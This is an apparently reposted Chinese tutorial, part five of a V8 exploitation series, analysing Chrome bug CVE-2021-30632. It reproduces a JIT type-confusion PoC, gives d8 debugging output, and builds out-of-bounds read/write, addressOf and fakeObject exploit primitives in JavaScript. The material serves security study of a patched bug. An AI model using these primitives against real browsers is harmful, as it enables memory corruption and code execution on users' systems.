从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

浏览器安全 3年前 (2022) admin
630 0 0

从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)作者:Hcamael@知道创宇404实验室

相关阅读:

从 0 开始学 V8 漏洞利用之环境搭建(一)
从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)
从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)


复现CVE-2021-30632

第三个研究的是CVE-2021-30632,其chrome的bug编号为:1247763https://bugs.chromium.org/p/chromium/issues/detail?id=1247763

不过其相关信息还未公开,但是我们仍然能得知:

受影响的Chrome最高版本为:93.0.4577.63 受影响的V8最高版本为:9.3.345.16

不过网上能搜到一篇分析文章Chrome in-the-wild bug analysis: CVE-2021-30632(https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/),不过文章中只有PoC,不包含EXP,PoC如下:


function foo(b) {
x = b;
}

function oobRead() {
return [x[20],x[24]];
}

function oobWrite(addr) {
x[24] = addr;
}

//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;

var x = arr0;

var arr = new Array(30); arr.fill(4); arr.a = 1;
...
//Optimzie foo
for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}
//x now has double elements, MapB
x[0] = 1.1;
//optimize oobRead
for (let i = 0; i < 20000; i++) {
oobRead();
}
//optimize oobWrite
for (let i = 0; i < 20000; i++) oobWrite(1.1);
//Restore map back to MapA, with SMI elements
foo(arr);
var z = oobRead();
oobWrite(0x41414141);



从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

搭建环境


一键编译相关环境:
$ ./build.sh 9.3.345.16



从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

套模版



  • 研究PoC

稍微修改一下PoC,然后运行:
$ cat poc.js
......
function oobRead() {
return x[16];
}
......
var z = oobRead();
console.log(hex(ftoi(z)));
%DebugPrint(x);
%SystemBreak();
$ ./d8 poc.js
80023b500000002
DebugPrint: 0x34070804a1a1: [JSArray]
- map: 0x340708207939 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3407081cc139 <JSArray[0]>
- elements: 0x34070804a1b1 <FixedArray[30]> [HOLEY_SMI_ELEMENTS]
- length: 30
- properties: 0x34070804a231 <PropertyArray[3]>
- All own properties (excluding elements): {
0x340708004905: [String] in ReadOnlySpace: #length: 0x34070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
0x340708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: properties[0]
}
- elements: 0x34070804a1b1 <FixedArray[30]> {
0-29: 5
}
......
然后挂上GDB进行调试,发现变量z的值(0x80023b500000002)位于elements + 8 + 16 * 8,从这可以看出该PoC达到了越界读的效果,同理,oobWrite函数能达到越界写的目的。
那么我们可以按以下顺序定义变量:
var arr = new Array(30); arr.fill(4); arr.a = 1;
var trigger_array = [1.1];
var padding = [1.1];
var vul_obj = {"a" : 1};
那么通过arr的越界读,我们可以获取到下面三个变量的相关信息。具体的偏移可以通过gdb调试获取,比如trigger_array变量的偏移为20。我可以通过oobWrite函数去修改trigger_array变量的size位,转换为trigger_array变量的越界利用。
根据上述的数据去修改oobWrite函数和oobRead函数:
function oobRead() {
return x[21];
}

function oobWrite(addr) {
x[21] = addr;
}
然后就是修改trigger_arraysize,把trigger_array数组的大小改为0x20:
var z = oobRead();
console.log("[*] leak data: 0x"+hex(ftoi(z)));
if (d2u(z)[1] == 2)
oobWrite(u2d(d2u(z)[0], 0x20));
else
oobWrite(u2d(0x20, d2u(z)[1]));


  • 编写addressOf函数

现在我们能来编写addressOf函数了:
function addressOf(obj_to_leak)
{
vul_obj[0] = obj_to_leak;
trigger_array[7] = array_map;
let obj_addr = ftoi(vul_obj[0])-1n;
trigger_array[7] = obj_map;
return obj_addr;
}


  • 编写fakeObj函数

接下来就是编写fakeObj函数:
function fakeObject(addr_to_fake)
{
padding[0] = itof(addr_to_fake + 1n);
trigger_array[5] = obj_map;
let faked_obj = padding[0];
trigger_array[5] = array_map;
return faked_obj;
}


  • 其他

剩下的工作就是按照惯例,套模板,修改偏移了,这PoC目前我也没觉得哪里有需要优化的地方。


从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

漏洞简述


在文章开头,就给了一篇分析文章,原理在这篇文章也讲的很清楚了,我这里就不展开再写了。我就简单概括一下说说我的理解。
首先是对foo函数进行JIT优化:
//Optimzie foo
for (let i = 0; i < 40000; i++) {
if (i == 100) arr2[0] = 1.1;
foo(arr1);
}
arr1unstable的情况下,经过JIT优化,所以JIT会假设foo函数的输入为SMI数组类型的变量,然后执行x[0] = 1.1;,把x变为浮点型数组类型的变量,但是因为变量x(这个时候x等于arr1)是unstable,因为代码的bug,所以这个时候不会取消JIT优化。
然后执行:
for (let i = 0; i < 40000; i++) oobRead();
oobRead函数也经过JIT优化,这个时候JIT认为变量x是浮点型数组类型。
然后执行foo(arr);,因为之前JIT已经假设了foo函数的输入变量为SMI数组,而arr就是SMI数组变量,所以JIT把x变量设置成了arr,却没有取消oobRead函数对于x变量的假设。
也就是说,在foo函数中,认为x是SMI数组,而oobRead函数中认为x是浮点型数组,这就产生了类型混淆。
所以在oobRead函数中x[21]的取值方式是在地址为x + 8 * 21取8字节的浮点型数值。但是x现在已经等于变量arr了,是一个长度为30的SMI数组,size为: 4 * 30,所以这就导致了溢出。
不过在分析该漏洞的时候仍然还有一些问题没有解决,函数循环多少次会被JIT优化?在什么情况下把arr1转化为unstable,JIT才能正常优化?上面循环40000次,在i==100的时候让arr1变为unstable都是我试出来的,但是为啥是这个次数呢?我还没研究明白。等后续研究明白了可以专门写一篇文章。


从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

参考


  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1247763
  2. https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/

从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

往 期 热 门

(点击图片跳转)

从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)


从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)


从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)


从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

原文始发于微信公众号(Seebug漏洞平台):从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

版权声明:admin 发表于 2022年2月5日 上午2:10。
转载请注明:从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...